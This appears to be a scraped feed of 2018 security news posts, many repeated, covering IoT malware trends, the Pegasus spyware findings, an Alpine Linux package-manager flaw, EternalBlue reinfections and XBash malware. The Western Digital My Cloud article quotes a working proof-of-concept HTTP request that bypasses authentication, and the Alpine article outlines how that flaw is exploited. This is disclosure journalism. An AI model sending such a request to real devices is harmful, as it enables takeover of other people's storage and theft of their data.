The judges required them to repay $127,000, and they have voluntarily handed over huge amounts of cryptocurrency that the authorities seized as part of the investigation on the botnet.

mirai

The three men have “cooperated extensively” with the authorities helping the FBI on complex cybercrime investigations before the sentence. The trio will continue to offer their support to the feds.

“After cooperating extensively with the FBI, Jha, White, and Norman were each sentenced to serve a five-year period of probation, 2,500 hours of community service, ordered to pay restitution in the amount of $127,000, and have voluntarily abandoned significant amounts of cryptocurrency seized during the course of the investigation.” continues the press release.

” As part of their sentences, Jha, White, and Norman must continue to cooperate with the FBI on cybercrime and cybersecurity matters, as well as continued cooperation with and assistance to law enforcement and the broader research community.”

Pierluigi Paganini

(Security Affairs – Mirai, botnet)

The post Mirai authors avoid the jail by helping US authorities in other investigations appeared first on Security Affairs.



Security Affairs

Keeping Your Personal Information Safe

By Vasilii Chekalov EveryCloud, According to a study by Statista in March of 2018, 63% of respondents expressed concern that they would be hacked in the next five years. 60%

The post Keeping Your Personal Information Safe appeared first on The Cyber Security Place.

Kaspersky: Attacks on Smart Devices Rise Threefold in 2018

Attacks against smart devices are surging, with both old and new threats targeting connected devices that remain largely unsecured, according to researchers at Kaspersky Lab. Kaspersky researchers observed three times as many malware samples against smart devices in the first half of 2018 than they did in all of 2017, according to new findings...

Read the whole entry... »

Related Stories

Maliciuos hacking activity increasingly targeting critical infrastructure

In this podcast, Andrew Ginter, VP of Industrial Security at Waterfall Security Solutions, and Edward Amoroso, CEO of TAG Cyber, talk about how the traditional focus of most hackers has been on

The post Maliciuos hacking activity increasingly targeting critical infrastructure appeared first on The Cyber Security Place.

Report: Financial industry in crosshairs of credential-stuffing botnets

Botnets mounting credential-stuffing attacks against the financial industry are on the rise, with a more than 20-percent uptick in a two-month period, a new report from Akamai has found. Bad actors from the United States, Russia and Vietnam are using credential stuffing attacks to try to compromise financial services firms, Akamai says in its...

Read the whole entry... »

Related Stories

Security Affairs: Evolution of threat landscape for IoT devices – H1 2018

Security experts from Kaspersky have published an interesting report on the new trends in the IoT threat landscape. What is infecting IoT devices and how?

The researchers set up a honeypot to collect data on infected IoT devices, the way threat actors infect IoT devices and what families of malware are involved.

The first data that emerged from the study is that threat actors continue to look at the IoT devices with increasing interest. In the first six months of 2018, the experts observed a number of malware samples that was up three times as many samples targeting IoT devices as in the whole of 2017. In 2017 there were ten times more than in 2016.

IoT devices attacks

In the first half of 2018, researchers at Kaspersky Lab said that the most popular attack vector against IoT devices remains cracking Telnet passwords (75,40%), followed by cracking SSH passwords (11,59%).

Mirai dominates the IoT threat landscape, 20.9% of IoT devices were infected by this malicious code, other prominent malware are Hajime (5.89%) and Gafgyt.

Top 10 countries from which Kaspersky traps were hit by Telnet password attacks is led by Brazil, China, and Japan.

“As we see, in Q2 2018 the leader by number of unique IP addresses from which Telnet password attacks originated was Brazil (23%). Second place went to China (17%). Russia in our list took 4th place (7%).” reads the report.

“Overall for the period January 1 – July 2018, our Telnet honeypot registered more than 12 million attacks from 86,560 unique IP addresses, and malware was downloaded from 27,693 unique IP addresses.”

Experts pointed out that infected MikroTik routers made up 37.23 percent of all the data collected, followed by TP-Link that accounted for 9.07%.

MikroTik devices running under RouterOS are targeted by malicious code that includes the exploit for the Chimay-Red vulnerability.

The Chimay Red hacking tool leverages 2 exploits, the Winbox Any Directory File Read (CVE-2018-14847) and Webfig Remote Code Execution Vulnerability.

MikroTik devices were involved in several campaigns in the past months, including the VPNfilter botnet that infected almost a million routers in more than 50 countries

Iot devices

Experts highlighted that IoT malware is increasing both in quantity and quality.

“More and more exploits are being weaponized by cybercriminals, and infected devices are used to steal personal data and mine cryptocurrencies, on top of traditional DDoS attacks.” concludes Kaspersky.

Let me suggest to read to read the report, is full of interesting data.

Pierluigi Paganini

(Security Affairs – IoT devices, hacking)

The post Evolution of threat landscape for IoT devices – H1 2018 appeared first on Security Affairs.



Security Affairs

Evolution of threat landscape for IoT devices – H1 2018

Security experts from Kaspersky have published an interesting report on the new trends in the IoT threat landscape. What is infecting IoT devices and how?

The researchers set up a honeypot to collect data on infected IoT devices, the way threat actors infect IoT devices and what families of malware are involved.

The first data that emerged from the study is that threat actors continue to look at the IoT devices with increasing interest. In the first six months of 2018, the experts observed a number of malware samples that was up three times as many samples targeting IoT devices as in the whole of 2017. In 2017 there were ten times more than in 2016.

IoT devices attacks

In the first half of 2018, researchers at Kaspersky Lab said that the most popular attack vector against IoT devices remains cracking Telnet passwords (75,40%), followed by cracking SSH passwords (11,59%).

Mirai dominates the IoT threat landscape, 20.9% of IoT devices were infected by this malicious code, other prominent malware are Hajime (5.89%) and Gafgyt.

Top 10 countries from which Kaspersky traps were hit by Telnet password attacks is led by Brazil, China, and Japan.

“As we see, in Q2 2018 the leader by number of unique IP addresses from which Telnet password attacks originated was Brazil (23%). Second place went to China (17%). Russia in our list took 4th place (7%).” reads the report.

“Overall for the period January 1 – July 2018, our Telnet honeypot registered more than 12 million attacks from 86,560 unique IP addresses, and malware was downloaded from 27,693 unique IP addresses.”

Experts pointed out that infected MikroTik routers made up 37.23 percent of all the data collected, followed by TP-Link that accounted for 9.07%.

MikroTik devices running under RouterOS are targeted by malicious code that includes the exploit for the Chimay-Red vulnerability.

The Chimay Red hacking tool leverages 2 exploits, the Winbox Any Directory File Read (CVE-2018-14847) and Webfig Remote Code Execution Vulnerability.

MikroTik devices were involved in several campaigns in the past months, including the VPNfilter botnet that infected almost a million routers in more than 50 countries

Iot devices

Experts highlighted that IoT malware is increasing both in quantity and quality.

“More and more exploits are being weaponized by cybercriminals, and infected devices are used to steal personal data and mine cryptocurrencies, on top of traditional DDoS attacks.” concludes Kaspersky.

Let me suggest to read to read the report, is full of interesting data.

Pierluigi Paganini

(Security Affairs – IoT devices, hacking)

The post Evolution of threat landscape for IoT devices – H1 2018 appeared first on Security Affairs.

Security Affairs: Flaw in Western Digital My Cloud exposes the content to hackers

An authentication bypass vulnerability in Western Digital My Cloud NAS could allow hackers to access the content of the storage

Researchers at security firm Securify have discovered an elevation of privilege vulnerability in the Western Digital My Cloud platform that could be exploited by attackers to gain admin-level access to the device via an HTTP request.

The flaw, tracked as CVE-2018-17153, would allow an unauthenticated attacker with network access to the device to authenticate as an admin without providing a password.

The attacker could exploit the flaw to run commands, access the stored data, modify/copy them as well as wipe the NAS.

“It was discovered that the Western Digital My Cloud is affected by an authentication bypass vulnerability that allows an unauthenticated user to create an admin session that is tied to her IP address.” reads the report published by Securify.

“By exploiting this issue an unauthenticated attacker can run commands that would normally require admin privileges and gain complete control of the My Cloud device.”

The vulnerability resides in the process of creation of admin sessions implemented by the My Cloud devices that bound to the user’s IP address.

Once the session is created, it is possible to call the authenticated CGI modules by sending the cookie username=admin in the HTTP request. The CGI will check if a valid session is present and bound to the user’s IP address.

An attacker can send a CGI call to the device including a cookie containing the cookie username=admin.

“It was found that it is possible for an unauthenticated attacker to create a valid session without requiring to authenticate.” continues Securify.

“The network_mgr.cgi CGI module contains a command called cgi_get_ipv6 that starts an admin session that is tied to the IP address of the user making the request when invoked with the parameter flag equal to 1. Subsequent invocation of commands that would normally require admin privileges are now authorized if an attacker sets the username=admin cookie.”

Western Digital My Cloud flaw

The experts published the following PoC code to exploit the issue:

POST /cgi-bin/network_mgr.cgi HTTP/1.1
Host: wdmycloud.local
Content-Type: application/x-www-form-urlencoded
Cookie: username=admin
Content-Length: 23

cmd=cgi_get_ipv6&flag=1

Securify reported the vulnerability to Western Digital in April, but it is still waiting for a response.

In February, experts from Trustwave disclosed two vulnerabilities in Western Digital My Cloud network storage devices that could be exploited by a local attacker to gain root access to the NAS devices.

In April, security experts at Trustwave discovered that Western Digital My Cloud EX2 storage devices were leaking files on a local network by default.

Pierluigi Paganini

(Security Affairs – Digital My Cloud, hacking)

The post Flaw in Western Digital My Cloud exposes the content to hackers appeared first on Security Affairs.



Security Affairs

Flaw in Western Digital My Cloud exposes the content to hackers

An authentication bypass vulnerability in Western Digital My Cloud NAS could allow hackers to access the content of the storage

Researchers at security firm Securify have discovered an elevation of privilege vulnerability in the Western Digital My Cloud platform that could be exploited by attackers to gain admin-level access to the device via an HTTP request.

The flaw, tracked as CVE-2018-17153, would allow an unauthenticated attacker with network access to the device to authenticate as an admin without providing a password.

The attacker could exploit the flaw to run commands, access the stored data, modify/copy them as well as wipe the NAS.

“It was discovered that the Western Digital My Cloud is affected by an authentication bypass vulnerability that allows an unauthenticated user to create an admin session that is tied to her IP address.” reads the report published by Securify.

“By exploiting this issue an unauthenticated attacker can run commands that would normally require admin privileges and gain complete control of the My Cloud device.”

The vulnerability resides in the process of creation of admin sessions implemented by the My Cloud devices that bound to the user’s IP address.

Once the session is created, it is possible to call the authenticated CGI modules by sending the cookie username=admin in the HTTP request. The CGI will check if a valid session is present and bound to the user’s IP address.

An attacker can send a CGI call to the device including a cookie containing the cookie username=admin.

“It was found that it is possible for an unauthenticated attacker to create a valid session without requiring to authenticate.” continues Securify.

“The network_mgr.cgi CGI module contains a command called cgi_get_ipv6 that starts an admin session that is tied to the IP address of the user making the request when invoked with the parameter flag equal to 1. Subsequent invocation of commands that would normally require admin privileges are now authorized if an attacker sets the username=admin cookie.”

Western Digital My Cloud flaw

The experts published the following PoC code to exploit the issue:

POST /cgi-bin/network_mgr.cgi HTTP/1.1
Host: wdmycloud.local
Content-Type: application/x-www-form-urlencoded
Cookie: username=admin
Content-Length: 23

cmd=cgi_get_ipv6&flag=1

Securify reported the vulnerability to Western Digital in April, but it is still waiting for a response.

In February, experts from Trustwave disclosed two vulnerabilities in Western Digital My Cloud network storage devices that could be exploited by a local attacker to gain root access to the NAS devices.

In April, security experts at Trustwave discovered that Western Digital My Cloud EX2 storage devices were leaking files on a local network by default.

Pierluigi Paganini

(Security Affairs – Digital My Cloud, hacking)

The post Flaw in Western Digital My Cloud exposes the content to hackers appeared first on Security Affairs.

Security Affairs: NSO mobile Pegasus Spyware used in operations in 45 countries

A new report published by Citizen Lab revealed that the NSO Pegasus spyware was used against targets across 45 countries worldwide.

A new investigation of the Citizen Lab revealed that the powerful Pegasus mobile spyware was used against targets across 45 countries around the world over the last two years.

Pegasus is a surveillance malware developed by the Israeli surveillance NSO Group that could infect both iPhones and Android devices, it is sold exclusively to the governments and law enforcement agencies.

Earlier August, Citizen Lab shared evidence of attacks against 175 targets worldwide carried on with the NSO spyware. Citizen Lab uncovered other attacks against individuals in Qatar or Saudi, where the Israeli surveillance software is becoming very popular.

COUNTRY NEXUS REPORTED CASES OF INDIVIDUALS TARGETED YEAR(S) IN WHICH SPYWARE INFECTION WAS ATTEMPTED
Panama Up to 150 (Source: Univision)1 2012-2014
UAE 1 (Source: Citizen Lab) 2016
Mexico 22 (Source: Citizen Lab) 2016
Saudi Arabia 2 (Source: Amnesty, Citizen Lab) 2018

A report published by Amnesty International confirmed that its experts identified a second human rights activist, in Saudi Arabia, who was targeted with the powerful spyware.

Now a new report published by Citizen Lab shows that the number of Pegasus infections is greater than initially thought.

Between August 2016 and August 2018, the researchers scanned the web for servers associated with Pegasus spyware and uncovered 36 distinct Pegasus systems in 45 countries by using a novel technique dubbed Athena.

The experts found 1,091 IP addresses that matched their fingerprint and 1,014 domain names that pointed to them.

pegasus spyware

At least ten of the operators identified by NSO appear to be actively engaged in cross-border surveillance, at least six countries with significant Pegasus operations (Bahrain, Kazakhstan, Mexico, Morocco, Saudi Arabia, and the United Arab Emirates) have been accused in the past of spying civil society.

“We designed and conducted a global DNS Cache Probing study on the matching domain names in order to identify in which countries each operator was spying. Our technique identified a total of 45 countries where Pegasus operators may be conducting surveillance operations. At least 10 Pegasus operators appear to be actively engaged in cross-border surveillance.” reads the report published by Citizen Lab.

“Pegasus also appears to be in use by countries with dubious human rights records and histories of abusive behaviour by state security services. In addition, we have found indications of possible political themes within targeting materials in several countries, casting doubt on whether the technology is being used as part of “legitimate” criminal investigations.”

Pegasus infections were observed in Algeria, Bahrain, Bangladesh, Brazil, Canada, Cote d’Ivoire, Egypt, France, Greece, India, Iraq, Israel, Jordan, Kazakhstan, Kenya, Kuwait, Kyrgyzstan, Latvia, Lebanon, Libya, Mexico, Morocco, the Netherlands, Oman, Pakistan, Palestine, Poland, Qatar, Rwanda, Saudi Arabia, Singapore, South Africa, Switzerland, Tajikistan, Thailand, Togo, Tunisia, Turkey, the UAE, Uganda, the United Kingdom, the United States, Uzbekistan, Yemen, and Zambia.

Pegasus spyware

The experts determined the location of the infections using country-level geolocation of DNS servers, but they warn of possible inaccuracies because targets could have used VPNs and satellite connections.

NSO Group spokesperson released a statement in response to the report, he highlighted that the company never broke any laws, including export control regulations.

“Contrary to statements made by you, our product is licensed to government and law enforcement agencies for the sole purpose of investigating and preventing crime and terror. Our business is conducted in strict compliance with applicable export control laws,” reads the statement from NSO Group spokesperson Shalev Hulio.

“NSO’s Business Ethics Committee, which includes outside experts from various disciplines, including law and foreign relations, reviews and approves each transaction and is authorized to reject agreements or cancel existing agreements where there is a case of improper use.”

The NSO Group also denied selling in many of the countries listed in the report.

Pierluigi Paganini

(Security Affairs – Pegasus Spyware, surveillance)

The post NSO mobile Pegasus Spyware used in operations in 45 countries appeared first on Security Affairs.



Security Affairs

NSO mobile Pegasus Spyware used in operations in 45 countries

A new report published by Citizen Lab revealed that the NSO Pegasus spyware was used against targets across 45 countries worldwide.

A new investigation of the Citizen Lab revealed that the powerful Pegasus mobile spyware was used against targets across 45 countries around the world over the last two years.

Pegasus is a surveillance malware developed by the Israeli surveillance NSO Group that could infect both iPhones and Android devices, it is sold exclusively to the governments and law enforcement agencies.

Earlier August, Citizen Lab shared evidence of attacks against 175 targets worldwide carried on with the NSO spyware. Citizen Lab uncovered other attacks against individuals in Qatar or Saudi, where the Israeli surveillance software is becoming very popular.

COUNTRY NEXUS REPORTED CASES OF INDIVIDUALS TARGETED YEAR(S) IN WHICH SPYWARE INFECTION WAS ATTEMPTED
Panama Up to 150 (Source: Univision)1 2012-2014
UAE 1 (Source: Citizen Lab) 2016
Mexico 22 (Source: Citizen Lab) 2016
Saudi Arabia 2 (Source: Amnesty, Citizen Lab) 2018

A report published by Amnesty International confirmed that its experts identified a second human rights activist, in Saudi Arabia, who was targeted with the powerful spyware.

Now a new report published by Citizen Lab shows that the number of Pegasus infections is greater than initially thought.

Between August 2016 and August 2018, the researchers scanned the web for servers associated with Pegasus spyware and uncovered 36 distinct Pegasus systems in 45 countries by using a novel technique dubbed Athena.

The experts found 1,091 IP addresses that matched their fingerprint and 1,014 domain names that pointed to them.

pegasus spyware

At least ten of the operators identified by NSO appear to be actively engaged in cross-border surveillance, at least six countries with significant Pegasus operations (Bahrain, Kazakhstan, Mexico, Morocco, Saudi Arabia, and the United Arab Emirates) have been accused in the past of spying civil society.

“We designed and conducted a global DNS Cache Probing study on the matching domain names in order to identify in which countries each operator was spying. Our technique identified a total of 45 countries where Pegasus operators may be conducting surveillance operations. At least 10 Pegasus operators appear to be actively engaged in cross-border surveillance.” reads the report published by Citizen Lab.

“Pegasus also appears to be in use by countries with dubious human rights records and histories of abusive behaviour by state security services. In addition, we have found indications of possible political themes within targeting materials in several countries, casting doubt on whether the technology is being used as part of “legitimate” criminal investigations.”

Pegasus infections were observed in Algeria, Bahrain, Bangladesh, Brazil, Canada, Cote d’Ivoire, Egypt, France, Greece, India, Iraq, Israel, Jordan, Kazakhstan, Kenya, Kuwait, Kyrgyzstan, Latvia, Lebanon, Libya, Mexico, Morocco, the Netherlands, Oman, Pakistan, Palestine, Poland, Qatar, Rwanda, Saudi Arabia, Singapore, South Africa, Switzerland, Tajikistan, Thailand, Togo, Tunisia, Turkey, the UAE, Uganda, the United Kingdom, the United States, Uzbekistan, Yemen, and Zambia.

Pegasus spyware

The experts determined the location of the infections using country-level geolocation of DNS servers, but they warn of possible inaccuracies because targets could have used VPNs and satellite connections.

NSO Group spokesperson released a statement in response to the report, he highlighted that the company never broke any laws, including export control regulations.

“Contrary to statements made by you, our product is licensed to government and law enforcement agencies for the sole purpose of investigating and preventing crime and terror. Our business is conducted in strict compliance with applicable export control laws,” reads the statement from NSO Group spokesperson Shalev Hulio.

“NSO’s Business Ethics Committee, which includes outside experts from various disciplines, including law and foreign relations, reviews and approves each transaction and is authorized to reject agreements or cancel existing agreements where there is a case of improper use.”

The NSO Group also denied selling in many of the countries listed in the report.

Pierluigi Paganini

(Security Affairs – Pegasus Spyware, surveillance)

The post NSO mobile Pegasus Spyware used in operations in 45 countries appeared first on Security Affairs.

Dark Web: US court seizes assets and properties of deceased AlphaBay operator

By Waqas

AlphaBay was one of the largest dark web marketplaces – In 2017, its admin Alexandre Cazes committed suicide in a Thai prison. The Fresno Division of the U.S. District Court for the Eastern District of California has finally concluded a 14-month long civil forfeiture case and allowed seizure of property and assets of a Canadian national Alexandre Cazes […]

This is a post from HackRead.com Read the original post: Dark Web: US court seizes assets and properties of deceased AlphaBay operator

Security Affairs: A flaw in Alpine Linux could allow executing arbitrary code

Security researcher Max Justicz has discovered several flaws in the distribution Alpine Linux, including an arbitrary code execution.  

Alpine Linux is an independent, non-commercial, general purpose Linux distribution that is heavily used in containers, including Docker.

Alpine Linux is based on musl libc and busybox, it is a tiny distro and is optimized to manage resources, it is known also for fast boot times.

The experts discovered several vulnerabilities in the APK, the default package manager in Alpine. The most severe bug discovered by Max Justicz could be exploited by an attacker to carry out a man-in-the-middle attack to execute arbitrary code on the user’s machine.

“I found several bugs in apk, the default package manager for Alpine Linux. Alpine is a really lightweight distro that is very commonly used with Docker.” states the analysis published by the researcher.

“The worst of these bugs, the subject of this blog post, allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code on the user’s machine. This is especially bad because packages aren’t served over TLS when using the default repositories.”

An attacker could trigger the flaw to target a Docker container based on Alpine and execute arbitrary code, Justicz also published a video PoC of the attack.

The package manager extracts packages, in the form of gzipped tar archives distributed as apks, then check their hashes against the ones in the signed manifest.

If the hashes are different, the package manager attempts to unlink all of the extracted files and directories.

The expert highlighted that the APK’s commit hooks feature could allow an attacker to turn persistent arbitrary file writes into code execution. Justicz discovered that it is possible to hide a malware within the package’s commit_hooks directory that would escape the cleanup and could then be executed as normal.

The expert explained that if an attacker is able to extract a file into /etc/apk/commit_hooks.d/ and have it stay there after the cleanup process, it will be executed before apk exits.

The attacker has to control the downloaded tar file avoiding that the package manager will unlink the payload and its directory during the cleanup process.

The expert explained that the attacker can run MitM to intercept apk’s package requests during Docker image building, then inject them with malicious code before they are passed to the target machines that would unpack and run the malicious code within their Docker container.

The latest Alpine version has addressed the issue, developers are recommended to rebuild their Docker images with the updated Alpine build.

Pierluigi Paganini

(Security Affairs – Alpine, hacking)

The post A flaw in Alpine Linux could allow executing arbitrary code appeared first on Security Affairs.



Security Affairs

A flaw in Alpine Linux could allow executing arbitrary code

Security researcher Max Justicz has discovered several flaws in the distribution Alpine Linux, including an arbitrary code execution.  

Alpine Linux is an independent, non-commercial, general purpose Linux distribution that is heavily used in containers, including Docker.

Alpine Linux is based on musl libc and busybox, it is a tiny distro and is optimized to manage resources, it is known also for fast boot times.

The experts discovered several vulnerabilities in the APK, the default package manager in Alpine. The most severe bug discovered by Max Justicz could be exploited by an attacker to carry out a man-in-the-middle attack to execute arbitrary code on the user’s machine.

“I found several bugs in apk, the default package manager for Alpine Linux. Alpine is a really lightweight distro that is very commonly used with Docker.” states the analysis published by the researcher.

“The worst of these bugs, the subject of this blog post, allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code on the user’s machine. This is especially bad because packages aren’t served over TLS when using the default repositories.”

An attacker could trigger the flaw to target a Docker container based on Alpine and execute arbitrary code, Justicz also published a video PoC of the attack.

The package manager extracts packages, in the form of gzipped tar archives distributed as apks, then check their hashes against the ones in the signed manifest.

If the hashes are different, the package manager attempts to unlink all of the extracted files and directories.

The expert highlighted that the APK’s commit hooks feature could allow an attacker to turn persistent arbitrary file writes into code execution. Justicz discovered that it is possible to hide a malware within the package’s commit_hooks directory that would escape the cleanup and could then be executed as normal.

The expert explained that if an attacker is able to extract a file into /etc/apk/commit_hooks.d/ and have it stay there after the cleanup process, it will be executed before apk exits.

The attacker has to control the downloaded tar file avoiding that the package manager will unlink the payload and its directory during the cleanup process.

The expert explained that the attacker can run MitM to intercept apk’s package requests during Docker image building, then inject them with malicious code before they are passed to the target machines that would unpack and run the malicious code within their Docker container.

The latest Alpine version has addressed the issue, developers are recommended to rebuild their Docker images with the updated Alpine build.

Pierluigi Paganini

(Security Affairs – Alpine, hacking)

The post A flaw in Alpine Linux could allow executing arbitrary code appeared first on Security Affairs.

Hackers disrupt UK’s Bristol Airport flight info screens after ransomware attack

By Uzair Amir

The ransomware attack disrupted the screens for two days.  In a nasty ransomware attack, flight information screens at the United Kingdom’s Bristol airport were taken over and hijacked by malicious hackers on September 15th Friday morning. The ransomware attack forced the airport staff to go manual by using whiteboards and hand-written information to assist passengers regarding their […]

This is a post from HackRead.com Read the original post: Hackers disrupt UK’s Bristol Airport flight info screens after ransomware attack

Hackers as Heroes: How Ethical Hacking is Changing the Industry

Hackers all around the world have long been portrayed in media and pop culture as the bad guys. Society is taught to see them as cyber-criminals and outliers who seek

The post Hackers as Heroes: How Ethical Hacking is Changing the Industry appeared first on The Cyber Security Place.

Cracked Windows installations are serially infected with EternalBlue exploit code

According to Avira, hundreds of thousands of unpatched Windows systems are serially infected with EternalBlue exploit code.

The EternalBlue, is the alleged NSA exploit that made the headlines with DOUBLEPULSAR in the WannaCry attack.

The malicious code was leaked online by the Shadow Brokers hacking group that stole it from the arsenal of the NSA-linked Equation Group.

ETERNALBLUE targets the Server Message Block SMBv1 protocol on port 445, it has become widely adopted in the community of malware developers to target Windows 7 and Windows XP systems.

Microsoft addressed the flaw with the MS17-010 and also released an emergency patch for Windows XP and Server 2003 in response to the WannaCry ransomware attacks.

EternalBlue

According to a new blog post published by Avira, unpatched systems remain exposed to cyber attacks and are serially infected by threat actors.

“There are still significant numbers of repeatedly infected machines more than a year after the big WannaCry and Petya attacks,” said Mikel Echevarria-Lizarraga, senior virus analyst in the Avira Protection Lab.

“Our research has linked this to Windows machines that haven’t been updated against the NSA Eternal Blue exploit and are an open target for malware.”

The number of unpatched systems exposed online is very high, experts pointed out that most of them have been infected multiple times, they were found to run cracked Windows installations this means that they did not receive Microsoft’s security updates.

“We were researching the reasons behind a number of machines having repeated infections,” added Mikel. “We’ve found that many of these serially infected machines were running activation cracks which means that they cannot or do not want to update Windows and install updates. It also means that they did not receive the March 2018 emergency patch from Microsoft for this vulnerability.”

Avira decided to turn off the SMB1 protocol entirely on the infected machine to stop the endless infection loop.

The experts discovered around 300,000 computers affected by the issue and the Avira Protection whatever is deactivating the SMB1 protocol on around 14,000 computers daily.

The list of the top ten countries for serially infected machines is:

  • Indonesia
  • Taiwan
  • Vietnam
  • Thailand
  • Egypt
  • Russia
  • China
  • Philippines
  • India
  • Turkey

The above list doesn’t surprise the experts, according to studies from Statista, the above countries are top nations for the use of unlicensed software.

“The predominance of infected machines outside of North America and Europe roughly parallels studies from Statista on the use of unlicensed software.” concluded AVIRA.

“This study found unlicensed software rates averaging around 52 – 60% outside the United States and the European Union and fell to 16% and 28% respectively in these areas. Unlicensed software is usually unable to get the latest patches against vulnerabilities such as EternalBlue.”

Pierluigi Paganini

(Security Affairs – EternalBlue, hacking)

The post Cracked Windows installations are serially infected with EternalBlue exploit code appeared first on Security Affairs.

Security Affairs: Amazon is investigating allegations that its staff is selling customer data

Amazon confirmed an ongoing investigation of the allegations that some of its personnel sold confidential customer data to third party companies.

Amazon confirmed that it is investigating allegations that its staff sold customer data and other confidential information to third-party firms, particularly in China, a practice that violated the company policy.

The news was first reported by the Wall Street Journal, which discovered that the company staff sells customers data to merchants that are Amazon sellers.

“Employees of Amazon, primarily with the aid of intermediaries, are offering internal data and other confidential information that can give an edge to independent merchants selling their products on the site, according to sellers who have been offered and purchased the data, as well as brokers who provide it and people familiar with internal investigations.” reads the report published by the WSJ.

On Amazon, customers can buy products sold directly by the company along with goods from many other merchants.

The Wall Street Journal said cited the cases of intermediaries in Shenzhen working for group employees and selling information on sales volumes for payments ranging from 80 to more than 2,000 dollars.

“[Amazon is] conducting a thorough investigation of these claims.” Amazon spokesperson told AFP.

“We have zero tolerance for abuse of our systems and if we find bad actors who have engaged in this behavior, we will take swift action against them, including terminating their selling accounts, deleting reviews, withholding funds, and taking legal action,” the statement said.

amazon

The company is concerned by fake reviews by purported customers, the company started the investigation months ago.

Pierluigi Paganini

(Security Affairs – Retailer, data leak)

The post Amazon is investigating allegations that its staff is selling customer data appeared first on Security Affairs.



Security Affairs

Amazon is investigating allegations that its staff is selling customer data

Amazon confirmed an ongoing investigation of the allegations that some of its personnel sold confidential customer data to third party companies.

Amazon confirmed that it is investigating allegations that its staff sold customer data and other confidential information to third-party firms, particularly in China, a practice that violated the company policy.

The news was first reported by the Wall Street Journal, which discovered that the company staff sells customers data to merchants that are Amazon sellers.

“Employees of Amazon, primarily with the aid of intermediaries, are offering internal data and other confidential information that can give an edge to independent merchants selling their products on the site, according to sellers who have been offered and purchased the data, as well as brokers who provide it and people familiar with internal investigations.” reads the report published by the WSJ.

On Amazon, customers can buy products sold directly by the company along with goods from many other merchants.

The Wall Street Journal said cited the cases of intermediaries in Shenzhen working for group employees and selling information on sales volumes for payments ranging from 80 to more than 2,000 dollars.

“[Amazon is] conducting a thorough investigation of these claims.” Amazon spokesperson told AFP.

“We have zero tolerance for abuse of our systems and if we find bad actors who have engaged in this behavior, we will take swift action against them, including terminating their selling accounts, deleting reviews, withholding funds, and taking legal action,” the statement said.

amazon

The company is concerned by fake reviews by purported customers, the company started the investigation months ago.

Pierluigi Paganini

(Security Affairs – Retailer, data leak)

The post Amazon is investigating allegations that its staff is selling customer data appeared first on Security Affairs.

New XBash malware combines features from ransomware, cryptocurrency miners, botnets, and worms

Palo Alto Network researchers discovered a new malware, tracked as XBash, that combines features from ransomware, cryptocurrency miners, botnets, and worms

Security researchers at Palo Alto Networks have discovered a new piece of malware, dubbed XBash piece that is targeting both Linux and Microsoft Windows servers.

Xbash was developed using Python, then the authors converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution.

The malicious code combines features from different families of malware such as ransomware, cryptocurrency miners, botnets, and worms.

“Xbash has ransomware and coinmining capabilities. It also has self-propagating capabilities (meaning it has worm-like characteristics similar to WannaCry or Petya/NotPetya).” reads the analysis published by Palo Alto Networks.

“It also has capabilities not currently implemented that, when implemented, could enable it to spread very quickly within an organizations’ network (again, much like WannaCry or Petya/NotPetya).”

The malicious code was attributed to a popular crime gang tracked as the Iron Group.

The Iron cybercrime group has been active since at least 2016, is known for the Iron ransomware but across the years it is built various strain of malware, including backdoors, cryptocurrency miners, and ransomware to target both mobile and desktop systems.

“In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code.” states the report published by Intezer

“We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months.”

Thousands of victims have been infected by malware used by the crime gang.

Now the experts from Palo Alto Networks discovered the new XBash malware strain that combines botnet, coinmining, ransomware, and self-propagation. The botnet and ransomware features are observed in infections of Linux systems, while a coinminer behavior was seen in infections of the Windows servers.

The Xbash authors have implemented scanning capabilities used by the malware to search for vulnerable servers online. The malicious code search for unpatched web applications that are vulnerable to a series of known exploits or to brute force attack with a dictionary of default credentials.

“When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation.” continues the report.

“Three known vulnerabilities are targeted:

  1. Hadoop YARN ResourceManager unauthenticated command execution, which was first disclosed in October 2016 and has no CVE number assigned.
  2. Redis arbitrary file write and remote command execution, which was first disclosed in October 2015 and has no CVE number assigned. This is shown below in Figure 6.
  3. ActiveMQ arbitrary file write vulnerability, CVE-2016-3088.”

 

The malware can infect Windows systems, only after the compromise of a vulnerable Redis server.

The scanner component also scans the Internet for servers that run services that have been left online exposed without a password or are using weak credentials. The scanners target web servers (HTTP), VNC, MariaDB, MySQL, PostgreSQL, Redis, MongoDB, Oracle DB, CouchDB, ElasticSearch, Memcached, FTP, Telnet, RDP, UPnP/SSDP, NTP, DNS, SNMP, LDAP, Rexec, Rlogin, Rsh, and Rsync.

Hackers attempt to monetize their efforts through coin-mining activities on Windows systems or with ransomware based attacks on Linux servers running database services.

The XBash component will scan and delete MySQL, MongoDB, and PostgreSQL databases and drops a ransom asking for the payment of 0.02 Bitcoin ($125) to recover them.

Xbash

Unfortunately, victims will never recover their data because the malware wipe data and not back it up.

“we have observed three different bitcoin wallet addresses hard-coded in the Xbash samples. Since May 2018, there are 48 incoming transactions to these wallets with total income of about 0.964 bitcoins (about US$6,000 at the time of this writing).” continues the analysis.

“the funds are being withdrawn, showing us that the attackers are actively collecting their ransom.”

Experts noticed in all versions of Xbash the presence of a Python class named “LanScan” used to target enterprise networks.  The class allows to get local intranet information, generate a list of all IP addresses within the same subnet, and to perform port scanning to all these IPs

The code is still not active in the malware, likely crooks are working on its development.

Experts believe XBash will continue to evolve, for example including the miner component for Linux servers as well.

Further info, including IoCs, are reported in the analysis published by the experts.

Pierluigi Paganini

(Security Affairs – malware, cybercrime)

The post New XBash malware combines features from ransomware, cryptocurrency miners, botnets, and worms appeared first on Security Affairs.

Security Affairs: New XBash malware combines features from ransomware, cryptocurrency miners, botnets, and worms

Palo Alto Network researchers discovered a new malware, tracked as XBash, that combines features from ransomware, cryptocurrency miners, botnets, and worms

Security researchers at Palo Alto Networks have discovered a new piece of malware, dubbed XBash piece that is targeting both Linux and Microsoft Windows servers.

Xbash was developed using Python, then the authors converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution.

The malicious code combines features from different families of malware such as ransomware, cryptocurrency miners, botnets, and worms.

